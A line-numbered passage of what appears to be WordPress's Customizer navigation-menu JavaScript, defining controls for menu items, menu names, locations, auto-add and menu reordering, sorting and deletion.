2007 $( this ).val( $( this ).val().trim() );
2008 } );
2009
2010 titleEl = control.container.find( '.menu-item-title' );
2011 control.setting.bind( function( item ) {
2012 var trimmedTitle, titleText;
2013 if ( ! item ) {
2014 return;
2015 }
2016 item.title = item.title || '';
2017 trimmedTitle = item.title.trim();
2018
2019 titleText = trimmedTitle || item.original_title || api.Menus.data.l10n.untitled;
2020
2021 if ( item._invalid ) {
2022 titleText = api.Menus.data.l10n.invalidTitleTpl.replace( '%s', titleText );
2023 }
2024
2025 // Don't update to an empty title.
2026 if ( trimmedTitle || item.original_title ) {
2027 titleEl
2028 .text( titleText )
2029 .removeClass( 'no-title' );
2030 } else {
2031 titleEl
2032 .text( titleText )
2033 .addClass( 'no-title' );
2034 }
2035 } );
2036 },
2037
2038 /**
2039 *
2040 * @return {number}
2041 */
2042 getDepth: function() {
2043 var control = this, setting = control.setting(), depth = 0;
2044 if ( ! setting ) {
2045 return 0;
2046 }
2047 while ( setting && setting.menu_item_parent ) {
2048 depth += 1;
2049 control = api.control( 'nav_menu_item[' + setting.menu_item_parent + ']' );
2050 if ( ! control ) {
2051 break;
2052 }
2053 setting = control.setting();
2054 }
2055 return depth;
2056 },
2057
2058 /**
2059 * Amend the control's params with the data necessary for the JS template just in time.
2060 */
2061 renderContent: function() {
2062 var control = this,
2063 settingValue = control.setting(),
2064 containerClasses;
2065
2066 control.params.title = settingValue.title || '';
2067 control.params.depth = control.getDepth();
2068 control.container.data( 'item-depth', control.params.depth );
2069 containerClasses = [
2070 'menu-item',
2071 'menu-item-depth-' + String( control.params.depth ),
2072 'menu-item-' + settingValue.object,
2073 'menu-item-edit-inactive'
2074 ];
2075
2076 if ( settingValue._invalid ) {
2077 containerClasses.push( 'menu-item-invalid' );
2078 control.params.title = api.Menus.data.l10n.invalidTitleTpl.replace( '%s', control.params.title );
2079 } else if ( 'draft' === settingValue.status ) {
2080 containerClasses.push( 'pending' );
2081 control.params.title = api.Menus.data.pendingTitleTpl.replace( '%s', control.params.title );
2082 }
2083
2084 control.params.el_classes = containerClasses.join( ' ' );
2085 control.params.item_type_label = settingValue.type_label;
2086 control.params.item_type = settingValue.type;
2087 control.params.url = settingValue.url;
2088 control.params.target = settingValue.target;
2089 control.params.attr_title = settingValue.attr_title;
2090 control.params.classes = _.isArray( settingValue.classes ) ? settingValue.classes.join( ' ' ) : settingValue.classes;
2091 control.params.xfn = settingValue.xfn;
2092 control.params.description = settingValue.description;
2093 control.params.parent = settingValue.menu_item_parent;
2094 control.params.original_title = settingValue.original_title || '';
2095
2096 control.container.addClass( control.params.el_classes );
2097
2098 api.Control.prototype.renderContent.call( control );
2099 },
2100
2101 /***********************************************************************
2102 * Begin public API methods
2103 **********************************************************************/
2104
2105 /**
2106 * @return {wp.customize.controlConstructor.nav_menu|null}
2107 */
2108 getMenuControl: function() {
2109 var control = this, settingValue = control.setting();
2110 if ( settingValue && settingValue.nav_menu_term_id ) {
2111 return api.control( 'nav_menu[' + settingValue.nav_menu_term_id + ']' );
2112 } else {
2113 return null;
2114 }
2115 },
2116
2117 /**
2118 * Expand the accordion section containing a control
2119 */
2120 expandControlSection: function() {
2121 var $section = this.container.closest( '.accordion-section' );
2122 if ( ! $section.hasClass( 'open' ) ) {
2123 $section.find( '.accordion-section-title:first' ).trigger( 'click' );
2124 }
2125 },
2126
2127 /**
2128 * @since 4.6.0
2129 *
2130 * @param {Boolean} expanded
2131 * @param {Object} [params]
2132 * @return {Boolean} False if state already applied.
2133 */
2134 _toggleExpanded: api.Section.prototype._toggleExpanded,
2135
2136 /**
2137 * @since 4.6.0
2138 *
2139 * @param {Object} [params]
2140 * @return {Boolean} False if already expanded.
2141 */
2142 expand: api.Section.prototype.expand,
2143
2144 /**
2145 * Expand the menu item form control.
2146 *
2147 * @since 4.5.0 Added params.completeCallback.
2148 *
2149 * @param {Object} [params] - Optional params.
2150 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
2151 */
2152 expandForm: function( params ) {
2153 this.expand( params );
2154 },
2155
2156 /**
2157 * @since 4.6.0
2158 *
2159 * @param {Object} [params]
2160 * @return {Boolean} False if already collapsed.
2161 */
2162 collapse: api.Section.prototype.collapse,
2163
2164 /**
2165 * Collapse the menu item form control.
2166 *
2167 * @since 4.5.0 Added params.completeCallback.
2168 *
2169 * @param {Object} [params] - Optional params.
2170 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
2171 */
2172 collapseForm: function( params ) {
2173 this.collapse( params );
2174 },
2175
2176 /**
2177 * Expand or collapse the menu item control.
2178 *
2179 * @deprecated this is poor naming, and it is better to directly set control.expanded( showOrHide )
2180 * @since 4.5.0 Added params.completeCallback.
2181 *
2182 * @param {boolean} [showOrHide] - If not supplied, will be inverse of current visibility
2183 * @param {Object} [params] - Optional params.
2184 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
2185 */
2186 toggleForm: function( showOrHide, params ) {
2187 if ( typeof showOrHide === 'undefined' ) {
2188 showOrHide = ! this.expanded();
2189 }
2190 if ( showOrHide ) {
2191 this.expand( params );
2192 } else {
2193 this.collapse( params );
2194 }
2195 },
2196
2197 /**
2198 * Expand or collapse the menu item control.
2199 *
2200 * @since 4.6.0
2201 * @param {boolean} [showOrHide] - If not supplied, will be inverse of current visibility
2202 * @param {Object} [params] - Optional params.
2203 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
2204 */
2205 onChangeExpanded: function( showOrHide, params ) {
2206 var self = this, $menuitem, $inside, complete;
2207
2208 $menuitem = this.container;
2209 $inside = $menuitem.find( '.menu-item-settings:first' );
2210 if ( 'undefined' === typeof showOrHide ) {
2211 showOrHide = ! $inside.is( ':visible' );
2212 }
2213
2214 // Already expanded or collapsed.
2215 if ( $inside.is( ':visible' ) === showOrHide ) {
2216 if ( params && params.completeCallback ) {
2217 params.completeCallback();
2218 }
2219 return;
2220 }
2221
2222 if ( showOrHide ) {
2223 // Close all other menu item controls before expanding this one.
2224 api.control.each( function( otherControl ) {
2225 if ( self.params.type === otherControl.params.type && self !== otherControl ) {
2226 otherControl.collapseForm();
2227 }
2228 } );
2229
2230 complete = function() {
2231 $menuitem
2232 .removeClass( 'menu-item-edit-inactive' )
2233 .addClass( 'menu-item-edit-active' );
2234 self.container.trigger( 'expanded' );
2235
2236 if ( params && params.completeCallback ) {
2237 params.completeCallback();
2238 }
2239 };
2240
2241 $menuitem.find( '.item-edit' ).attr( 'aria-expanded', 'true' );
2242 $inside.slideDown( 'fast', complete );
2243
2244 self.container.trigger( 'expand' );
2245 } else {
2246 complete = function() {
2247 $menuitem
2248 .addClass( 'menu-item-edit-inactive' )
2249 .removeClass( 'menu-item-edit-active' );
2250 self.container.trigger( 'collapsed' );
2251
2252 if ( params && params.completeCallback ) {
2253 params.completeCallback();
2254 }
2255 };
2256
2257 self.container.trigger( 'collapse' );
2258
2259 $menuitem.find( '.item-edit' ).attr( 'aria-expanded', 'false' );
2260 $inside.slideUp( 'fast', complete );
2261 }
2262 },
2263
2264 /**
2265 * Expand the containing menu section, expand the form, and focus on
2266 * the first input in the control.
2267 *
2268 * @since 4.5.0 Added params.completeCallback.
2269 *
2270 * @param {Object} [params] - Params object.
2271 * @param {Function} [params.completeCallback] - Optional callback function when focus has completed.
2272 */
2273 focus: function( params ) {
2274 params = params || {};
2275 var control = this, originalCompleteCallback = params.completeCallback, focusControl;
2276
2277 focusControl = function() {
2278 control.expandControlSection();
2279
2280 params.completeCallback = function() {
2281 var focusable;
2282
2283 // Note that we can't use :focusable due to a jQuery UI issue. See: https://github.com/jquery/jquery-ui/pull/1583
2284 focusable = control.container.find( '.menu-item-settings' ).find( 'input, select, textarea, button, object, a[href], [tabindex]' ).filter( ':visible' );
2285 focusable.first().focus();
2286
2287 if ( originalCompleteCallback ) {
2288 originalCompleteCallback();
2289 }
2290 };
2291
2292 control.expandForm( params );
2293 };
2294
2295 if ( api.section.has( control.section() ) ) {
2296 api.section( control.section() ).expand( {
2297 completeCallback: focusControl
2298 } );
2299 } else {
2300 focusControl();
2301 }
2302 },
2303
2304 /**
2305 * Move menu item up one in the menu.
2306 */
2307 moveUp: function() {
2308 this._changePosition( -1 );
2309 wp.a11y.speak( api.Menus.data.l10n.movedUp );
2310 },
2311
2312 /**
2313 * Move menu item up one in the menu.
2314 */
2315 moveDown: function() {
2316 this._changePosition( 1 );
2317 wp.a11y.speak( api.Menus.data.l10n.movedDown );
2318 },
2319 /**
2320 * Move menu item and all children up one level of depth.
2321 */
2322 moveLeft: function() {
2323 this._changeDepth( -1 );
2324 wp.a11y.speak( api.Menus.data.l10n.movedLeft );
2325 },
2326
2327 /**
2328 * Move menu item and children one level deeper, as a submenu of the previous item.
2329 */
2330 moveRight: function() {
2331 this._changeDepth( 1 );
2332 wp.a11y.speak( api.Menus.data.l10n.movedRight );
2333 },
2334
2335 /**
2336 * Note that this will trigger a UI update, causing child items to
2337 * move as well and cardinal order class names to be updated.
2338 *
2339 * @private
2340 *
2341 * @param {number} offset 1|-1
2342 */
2343 _changePosition: function( offset ) {
2344 var control = this,
2345 adjacentSetting,
2346 settingValue = _.clone( control.setting() ),
2347 siblingSettings = [],
2348 realPosition;
2349
2350 if ( 1 !== offset && -1 !== offset ) {
2351 throw new Error( 'Offset changes by 1 are only supported.' );
2352 }
2353
2354 // Skip moving deleted items.
2355 if ( ! control.setting() ) {
2356 return;
2357 }
2358
2359 // Locate the other items under the same parent (siblings).
2360 _( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
2361 if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) {
2362 siblingSettings.push( otherControl.setting );
2363 }
2364 });
2365 siblingSettings.sort(function( a, b ) {
2366 return a().position - b().position;
2367 });
2368
2369 realPosition = _.indexOf( siblingSettings, control.setting );
2370 if ( -1 === realPosition ) {
2371 throw new Error( 'Expected setting to be among siblings.' );
2372 }
2373
2374 // Skip doing anything if the item is already at the edge in the desired direction.
2375 if ( ( realPosition === 0 && offset < 0 ) || ( realPosition === siblingSettings.length - 1 && offset > 0 ) ) {
2376 // @todo Should we allow a menu item to be moved up to break it out of a parent? Adopt with previous or following parent?
2377 return;
2378 }
2379
2380 // Update any adjacent menu item setting to take on this item's position.
2381 adjacentSetting = siblingSettings[ realPosition + offset ];
2382 if ( adjacentSetting ) {
2383 adjacentSetting.set( $.extend(
2384 _.clone( adjacentSetting() ),
2385 {
2386 position: settingValue.position
2387 }
2388 ) );
2389 }
2390
2391 settingValue.position += offset;
2392 control.setting.set( settingValue );
2393 },
2394
2395 /**
2396 * Note that this will trigger a UI update, causing child items to
2397 * move as well and cardinal order class names to be updated.
2398 *
2399 * @private
2400 *
2401 * @param {number} offset 1|-1
2402 */
2403 _changeDepth: function( offset ) {
2404 if ( 1 !== offset && -1 !== offset ) {
2405 throw new Error( 'Offset changes by 1 are only supported.' );
2406 }
2407 var control = this,
2408 settingValue = _.clone( control.setting() ),
2409 siblingControls = [],
2410 realPosition,
2411 siblingControl,
2412 parentControl;
2413
2414 // Locate the other items under the same parent (siblings).
2415 _( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
2416 if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) {
2417 siblingControls.push( otherControl );
2418 }
2419 });
2420 siblingControls.sort(function( a, b ) {
2421 return a.setting().position - b.setting().position;
2422 });
2423
2424 realPosition = _.indexOf( siblingControls, control );
2425 if ( -1 === realPosition ) {
2426 throw new Error( 'Expected control to be among siblings.' );
2427 }
2428
2429 if ( -1 === offset ) {
2430 // Skip moving left an item that is already at the top level.
2431 if ( ! settingValue.menu_item_parent ) {
2432 return;
2433 }
2434
2435 parentControl = api.control( 'nav_menu_item[' + settingValue.menu_item_parent + ']' );
2436
2437 // Make this control the parent of all the following siblings.
2438 _( siblingControls ).chain().slice( realPosition ).each(function( siblingControl, i ) {
2439 siblingControl.setting.set(
2440 $.extend(
2441 {},
2442 siblingControl.setting(),
2443 {
2444 menu_item_parent: control.params.menu_item_id,
2445 position: i
2446 }
2447 )
2448 );
2449 });
2450
2451 // Increase the positions of the parent item's subsequent children to make room for this one.
2452 _( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
2453 var otherControlSettingValue, isControlToBeShifted;
2454 isControlToBeShifted = (
2455 otherControl.setting().menu_item_parent === parentControl.setting().menu_item_parent &&
2456 otherControl.setting().position > parentControl.setting().position
2457 );
2458 if ( isControlToBeShifted ) {
2459 otherControlSettingValue = _.clone( otherControl.setting() );
2460 otherControl.setting.set(
2461 $.extend(
2462 otherControlSettingValue,
2463 { position: otherControlSettingValue.position + 1 }
2464 )
2465 );
2466 }
2467 });
2468
2469 // Make this control the following sibling of its parent item.
2470 settingValue.position = parentControl.setting().position + 1;
2471 settingValue.menu_item_parent = parentControl.setting().menu_item_parent;
2472 control.setting.set( settingValue );
2473
2474 } else if ( 1 === offset ) {
2475 // Skip moving right an item that doesn't have a previous sibling.
2476 if ( realPosition === 0 ) {
2477 return;
2478 }
2479
2480 // Make the control the last child of the previous sibling.
2481 siblingControl = siblingControls[ realPosition - 1 ];
2482 settingValue.menu_item_parent = siblingControl.params.menu_item_id;
2483 settingValue.position = 0;
2484 _( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
2485 if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) {
2486 settingValue.position = Math.max( settingValue.position, otherControl.setting().position );
2487 }
2488 });
2489 settingValue.position += 1;
2490 control.setting.set( settingValue );
2491 }
2492 }
2493 } );
2494
2495 /**
2496 * wp.customize.Menus.MenuNameControl
2497 *
2498 * Customizer control for a nav menu's name.
2499 *
2500 * @class wp.customize.Menus.MenuNameControl
2501 * @augments wp.customize.Control
2502 */
2503 api.Menus.MenuNameControl = api.Control.extend(/** @lends wp.customize.Menus.MenuNameControl.prototype */{
2504
2505 ready: function() {
2506 var control = this;
2507
2508 if ( control.setting ) {
2509 var settingValue = control.setting();
2510
2511 control.nameElement = new api.Element( control.container.find( '.menu-name-field' ) );
2512
2513 control.nameElement.bind(function( value ) {
2514 var settingValue = control.setting();
2515 if ( settingValue && settingValue.name !== value ) {
2516 settingValue = _.clone( settingValue );
2517 settingValue.name = value;
2518 control.setting.set( settingValue );
2519 }
2520 });
2521 if ( settingValue ) {
2522 control.nameElement.set( settingValue.name );
2523 }
2524
2525 control.setting.bind(function( object ) {
2526 if ( object ) {
2527 control.nameElement.set( object.name );
2528 }
2529 });
2530 }
2531 }
2532 });
2533
2534 /**
2535 * wp.customize.Menus.MenuLocationsControl
2536 *
2537 * Customizer control for a nav menu's locations.
2538 *
2539 * @since 4.9.0
2540 * @class wp.customize.Menus.MenuLocationsControl
2541 * @augments wp.customize.Control
2542 */
2543 api.Menus.MenuLocationsControl = api.Control.extend(/** @lends wp.customize.Menus.MenuLocationsControl.prototype */{
2544
2545 /**
2546 * Set up the control.
2547 *
2548 * @since 4.9.0
2549 */
2550 ready: function () {
2551 var control = this;
2552
2553 control.container.find( '.assigned-menu-location' ).each(function() {
2554 var container = $( this ),
2555 checkbox = container.find( 'input[type=checkbox]' ),
2556 element = new api.Element( checkbox ),
2557 navMenuLocationSetting = api( 'nav_menu_locations[' + checkbox.data( 'location-id' ) + ']' ),
2558 isNewMenu = control.params.menu_id === '',
2559 updateCheckbox = isNewMenu ? _.noop : function( checked ) {
2560 element.set( checked );
2561 },
2562 updateSetting = isNewMenu ? _.noop : function( checked ) {
2563 navMenuLocationSetting.set( checked ? control.params.menu_id : 0 );
2564 },
2565 updateSelectedMenuLabel = function( selectedMenuId ) {
2566 var menuSetting = api( 'nav_menu[' + String( selectedMenuId ) + ']' );
2567 if ( ! selectedMenuId || ! menuSetting || ! menuSetting() ) {
2568 container.find( '.theme-location-set' ).hide();
2569 } else {
2570 container.find( '.theme-location-set' ).show().find( 'span' ).text( displayNavMenuName( menuSetting().name ) );
2571 }
2572 };
2573
2574 updateCheckbox( navMenuLocationSetting.get() === control.params.menu_id );
2575
2576 checkbox.on( 'change', function() {
2577 // Note: We can't use element.bind( function( checked ){ ... } ) here because it will trigger a change as well.
2578 updateSetting( this.checked );
2579 } );
2580
2581 navMenuLocationSetting.bind( function( selectedMenuId ) {
2582 updateCheckbox( selectedMenuId === control.params.menu_id );
2583 updateSelectedMenuLabel( selectedMenuId );
2584 } );
2585 updateSelectedMenuLabel( navMenuLocationSetting.get() );
2586 });
2587 },
2588
2589 /**
2590 * Set the selected locations.
2591 *
2592 * This method sets the selected locations and allows us to do things like
2593 * set the default location for a new menu.
2594 *
2595 * @since 4.9.0
2596 *
2597 * @param {Object.<string,boolean>} selections - A map of location selections.
2598 * @return {void}
2599 */
2600 setSelections: function( selections ) {
2601 this.container.find( '.menu-location' ).each( function( i, checkboxNode ) {
2602 var locationId = checkboxNode.dataset.locationId;
2603 checkboxNode.checked = locationId in selections ? selections[ locationId ] : false;
2604 } );
2605 }
2606 });
2607
2608 /**
2609 * wp.customize.Menus.MenuAutoAddControl
2610 *
2611 * Customizer control for a nav menu's auto add.
2612 *
2613 * @class wp.customize.Menus.MenuAutoAddControl
2614 * @augments wp.customize.Control
2615 */
2616 api.Menus.MenuAutoAddControl = api.Control.extend(/** @lends wp.customize.Menus.MenuAutoAddControl.prototype */{
2617
2618 ready: function() {
2619 var control = this,
2620 settingValue = control.setting();
2621
2622 /*
2623 * Since the control is not registered in PHP, we need to prevent the
2624 * preview's sending of the activeControls to result in this control
2625 * being deactivated.
2626 */
2627 control.active.validate = function() {
2628 var value, section = api.section( control.section() );
2629 if ( section ) {
2630 value = section.active();
2631 } else {
2632 value = false;
2633 }
2634 return value;
2635 };
2636
2637 control.autoAddElement = new api.Element( control.container.find( 'input[type=checkbox].auto_add' ) );
2638
2639 control.autoAddElement.bind(function( value ) {
2640 var settingValue = control.setting();
2641 if ( settingValue && settingValue.name !== value ) {
2642 settingValue = _.clone( settingValue );
2643 settingValue.auto_add = value;
2644 control.setting.set( settingValue );
2645 }
2646 });
2647 if ( settingValue ) {
2648 control.autoAddElement.set( settingValue.auto_add );
2649 }
2650
2651 control.setting.bind(function( object ) {
2652 if ( object ) {
2653 control.autoAddElement.set( object.auto_add );
2654 }
2655 });
2656 }
2657
2658 });
2659
2660 /**
2661 * wp.customize.Menus.MenuControl
2662 *
2663 * Customizer control for menus.
2664 * Note that 'nav_menu' must match the WP_Menu_Customize_Control::$type
2665 *
2666 * @class wp.customize.Menus.MenuControl
2667 * @augments wp.customize.Control
2668 */
2669 api.Menus.MenuControl = api.Control.extend(/** @lends wp.customize.Menus.MenuControl.prototype */{
2670 /**
2671 * Set up the control.
2672 */
2673 ready: function() {
2674 var control = this,
2675 section = api.section( control.section() ),
2676 menuId = control.params.menu_id,
2677 menu = control.setting(),
2678 name,
2679 widgetTemplate,
2680 select;
2681
2682 if ( 'undefined' === typeof this.params.menu_id ) {
2683 throw new Error( 'params.menu_id was not defined' );
2684 }
2685
2686 /*
2687 * Since the control is not registered in PHP, we need to prevent the
2688 * preview's sending of the activeControls to result in this control
2689 * being deactivated.
2690 */
2691 control.active.validate = function() {
2692 var value;
2693 if ( section ) {
2694 value = section.active();
2695 } else {
2696 value = false;
2697 }
2698 return value;
2699 };
2700
2701 control.$controlSection = section.headContainer;
2702 control.$sectionContent = control.container.closest( '.accordion-section-content' );
2703
2704 this._setupModel();
2705
2706 api.section( control.section(), function( section ) {
2707 section.deferred.initSortables.done(function( menuList ) {
2708 control._setupSortable( menuList );
2709 });
2710 } );
2711
2712 this._setupAddition();
2713 this._setupTitle();
2714
2715 // Add menu to Navigation Menu widgets.
2716 if ( menu ) {
2717 name = displayNavMenuName( menu.name );
2718
2719 // Add the menu to the existing controls.
2720 api.control.each( function( widgetControl ) {
2721 if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) {
2722 return;
2723 }
2724 widgetControl.container.find( '.nav-menu-widget-form-controls:first' ).show();
2725 widgetControl.container.find( '.nav-menu-widget-no-menus-message:first' ).hide();
2726
2727 select = widgetControl.container.find( 'select' );
2728 if ( 0 === select.find( 'option[value=' + String( menuId ) + ']' ).length ) {
2729 select.append( new Option( name, menuId ) );
2730 }
2731 } );
2732
2733 // Add the menu to the widget template.
2734 widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' );
2735 widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).show();
2736 widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).hide();
2737 select = widgetTemplate.find( '.widget-inside select:first' );
2738 if ( 0 === select.find( 'option[value=' + String( menuId ) + ']' ).length ) {
2739 select.append( new Option( name, menuId ) );
2740 }
2741 }
2742
2743 /*
2744 * Wait for menu items to be added.
2745 * Ideally, we'd bind to an event indicating construction is complete,
2746 * but deferring appears to be the best option today.
2747 */
2748 _.defer( function () {
2749 control.updateInvitationVisibility();
2750 } );
2751 },
2752
2753 /**
2754 * Update ordering of menu item controls when the setting is updated.
2755 */
2756 _setupModel: function() {
2757 var control = this,
2758 menuId = control.params.menu_id;
2759
2760 control.setting.bind( function( to ) {
2761 var name;
2762 if ( false === to ) {
2763 control._handleDeletion();
2764 } else {
2765 // Update names in the Navigation Menu widgets.
2766 name = displayNavMenuName( to.name );
2767 api.control.each( function( widgetControl ) {
2768 if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) {
2769 return;
2770 }
2771 var select = widgetControl.container.find( 'select' );
2772 select.find( 'option[value=' + String( menuId ) + ']' ).text( name );
2773 });
2774 }
2775 } );
2776 },
2777
2778 /**
2779 * Allow items in each menu to be re-ordered, and for the order to be previewed.
2780 *
2781 * Notice that the UI aspects here are handled by wpNavMenu.initSortables()
2782 * which is called in MenuSection.onChangeExpanded()
2783 *
2784 * @param {Object} menuList - The element that has sortable().
2785 */
2786 _setupSortable: function( menuList ) {
2787 var control = this;
2788
2789 if ( ! menuList.is( control.$sectionContent ) ) {
2790 throw new Error( 'Unexpected menuList.' );
2791 }
2792
2793 menuList.on( 'sortstart', function() {
2794 control.isSorting = true;
2795 });
2796
2797 menuList.on( 'sortstop', function() {
2798 setTimeout( function() { // Next tick.
2799 var menuItemContainerIds = control.$sectionContent.sortable( 'toArray' ),
2800 menuItemControls = [],
2801 position = 0,
2802 priority = 10;
2803
2804 control.isSorting = false;
2805
2806 // Reset horizontal scroll position when done dragging.
2807 control.$sectionContent.scrollLeft( 0 );
2808
2809 _.each( menuItemContainerIds, function( menuItemContainerId ) {
2810 var menuItemId, menuItemControl, matches;
2811 matches = menuItemContainerId.match( /^customize-control-nav_menu_item-(-?\d+)$/, '' );
2812 if ( ! matches ) {
2813 return;
2814 }
2815 menuItemId = parseInt( matches[1], 10 );
2816 menuItemControl = api.control( 'nav_menu_item[' + String( menuItemId ) + ']' );
2817 if ( menuItemControl ) {
2818 menuItemControls.push( menuItemControl );
2819 }
2820 } );
2821
2822 _.each( menuItemControls, function( menuItemControl ) {
2823 if ( false === menuItemControl.setting() ) {
2824 // Skip deleted items.
2825 return;
2826 }
2827 var setting = _.clone( menuItemControl.setting() );
2828 position += 1;
2829 priority += 1;
2830 setting.position = position;
2831 menuItemControl.priority( priority );
2832
2833 // Note that wpNavMenu will be setting this .menu-item-data-parent-id input's value.
2834 setting.menu_item_parent = parseInt( menuItemControl.container.find( '.menu-item-data-parent-id' ).val(), 10 );
2835 if ( ! setting.menu_item_parent ) {
2836 setting.menu_item_parent = 0;
2837 }
2838
2839 menuItemControl.setting.set( setting );
2840 });
2841
2842 // Mark all menu items as unprocessed.
2843 $( 'button.item-edit' ).data( 'needs_accessibility_refresh', true );
2844 });
2845
2846 });
2847 control.isReordering = false;
2848
2849 /**
2850 * Keyboard-accessible reordering.
2851 */
2852 this.container.find( '.reorder-toggle' ).on( 'click', function() {
2853 control.toggleReordering( ! control.isReordering );
2854 } );
2855 },
2856
2857 /**
2858 * Set up UI for adding a new menu item.
2859 */
2860 _setupAddition: function() {
2861 var self = this;
2862
2863 this.container.find( '.add-new-menu-item' ).on( 'click', function( event ) {
2864 if ( self.$sectionContent.hasClass( 'reordering' ) ) {
2865 return;
2866 }
2867
2868 if ( ! $( 'body' ).hasClass( 'adding-menu-items' ) ) {
2869 $( this ).attr( 'aria-expanded', 'true' );
2870 api.Menus.availableMenuItemsPanel.open( self );
2871 } else {
2872 $( this ).attr( 'aria-expanded', 'false' );
2873 api.Menus.availableMenuItemsPanel.close();
2874 event.stopPropagation();
2875 }
2876 } );
2877 },
2878
2879 _handleDeletion: function() {
2880 var control = this,
2881 section,
2882 menuId = control.params.menu_id,
2883 removeSection,
2884 widgetTemplate,
2885 navMenuCount = 0;
2886 section = api.section( control.section() );
2887 removeSection = function() {
2888 section.container.remove();
2889 api.section.remove( section.id );
2890 };
2891
2892 if ( section && section.expanded() ) {
2893 section.collapse({
2894 completeCallback: function() {
2895 removeSection();
2896 wp.a11y.speak( api.Menus.data.l10n.menuDeleted );
2897 api.panel( 'nav_menus' ).focus();
2898 }
2899 });
2900 } else {
2901 removeSection();
2902 }
2903
2904 api.each(function( setting ) {
2905 if ( /^nav_menu\[/.test( setting.id ) && false !== setting() ) {
2906 navMenuCount += 1;
2907 }
2908 });
2909
2910 // Remove the menu from any Navigation Menu widgets.
2911 api.control.each(function( widgetControl ) {
2912 if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) {
2913 return;
2914 }
2915 var select = widgetControl.container.find( 'select' );
2916 if ( select.val() === String( menuId ) ) {
2917 select.prop( 'selectedIndex', 0 ).trigger( 'change' );
2918 }
2919
2920 widgetControl.container.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount );
2921 widgetControl.container.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount );
2922 widgetControl.container.find( 'option[value=' + String( menuId ) + ']' ).remove();
2923 });
2924
2925 // Remove the menu to the nav menu widget template.
2926 widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' );
2927 widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount );
2928 widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount );
2929 widgetTemplate.find( 'option[value=' + String( menuId ) + ']' ).remove();
2930 },
2931
2932 /**
2933 * Update Section Title as menu name is changed.
2934 */
2935 _setupTitle: function() {
2936 var control = this;
2937
2938 control.setting.bind( function( menu ) {
2939 if ( ! menu ) {
2940 return;
2941 }
2942
2943 var section = api.section( control.section() ),
2944 menuId = control.params.menu_id,
2945 controlTitle = section.headContainer.find( '.accordion-section-title' ),
2946 sectionTitle = section.contentContainer.find( '.customize-section-title h3' ),
2947 location = section.headContainer.find( '.menu-in-location' ),
2948 action = sectionTitle.find( '.customize-action' ),
2949 name = displayNavMenuName( menu.name );
2950
2951 // Update the control title.
2952 controlTitle.text( name );
2953 if ( location.length ) {
2954 location.appendTo( controlTitle );
2955 }
2956
2957 // Update the section title.
2958 sectionTitle.text( name );
2959 if ( action.length ) {
2960 action.prependTo( sectionTitle );
2961 }
2962
2963 // Update the nav menu name in location selects.
2964 api.control.each( function( control ) {
2965 if ( /^nav_menu_locations\[/.test( control.id ) ) {
2966 control.container.find( 'option[value=' + menuId + ']' ).text( name );
2967 }
2968 } );
2969
2970 // Update the nav menu name in all location checkboxes.
2971 section.contentContainer.find( '.customize-control-checkbox input' ).each( function() {
2972 if ( $( this ).prop( 'checked' ) ) {
2973 $( '.current-menu-location-name-' + $( this ).data( 'location-id' ) ).text( name );
2974 }
2975 } );
2976 } );
2977 },
2978
2979 /***********************************************************************
2980 * Begin public API methods
2981 **********************************************************************/
2982
2983 /**
2984 * Enable/disable the reordering UI
2985 *
2986 * @param {boolean} showOrHide to enable/disable reordering
2987 */
2988 toggleReordering: function( showOrHide ) {
2989 var addNewItemBtn = this.container.find( '.add-new-menu-item' ),
2990 reorderBtn = this.container.find( '.reorder-toggle' ),
2991 itemsTitle = this.$sectionContent.find( '.item-title' );
2992
2993 showOrHide = Boolean( showOrHide );
2994
2995 if ( showOrHide === this.$sectionContent.hasClass( 'reordering' ) ) {
2996 return;
2997 }
2998
2999 this.isReordering = showOrHide;
3000 this.$sectionContent.toggleClass( 'reordering', showOrHide );
3001 this.$sectionContent.sortable( this.isReordering ? 'disable' : 'enable' );
3002 if ( this.isReordering ) {
3003 addNewItemBtn.attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
3004 reorderBtn.attr( 'aria-label', api.Menus.data.l10n.reorderLabelOff );
3005 wp.a11y.speak( api.Menus.data.l10n.reorderModeOn );
3006 itemsTitle.attr( 'aria-hidden', 'false' );
3007 } else {
3008 addNewItemBtn.removeAttr( 'tabindex aria-hidden' );
3009 reorderBtn.attr( 'aria-label', api.Menus.data.l10n.reorderLabelOn );
3010 wp.a11y.speak( api.Menus.data.l10n.reorderModeOff );
3011 itemsTitle.attr( 'aria-hidden', 'true' );
3012 }
3013
3014 if ( showOrHide ) {
3015 _( this.getMenuItemControls() ).each( function( formControl ) {
3016 formControl.collapseForm();
3017 } );
3018 }
3019 },
3020
3021 /**
3022 * @return {wp.customize.controlConstructor.nav_menu_item[]}
3023 */
3024 getMenuItemControls: function() {
3025 var menuControl = this,
3026 menuItemControls = [],
3027 menuTermId = menuControl.params.menu_id;
3028
3029 api.control.each(function( control ) {
3030 if ( 'nav_menu_item' === control.params.type && control.setting() && menuTermId === control.setting().nav_menu_term_id ) {
3031 menuItemControls.push( control );
3032 }
3033 });
3034
3035 return menuItemControls;
3036 },
3037
3038 /**
3039 * Make sure that each menu item control has the proper depth.
3040 */
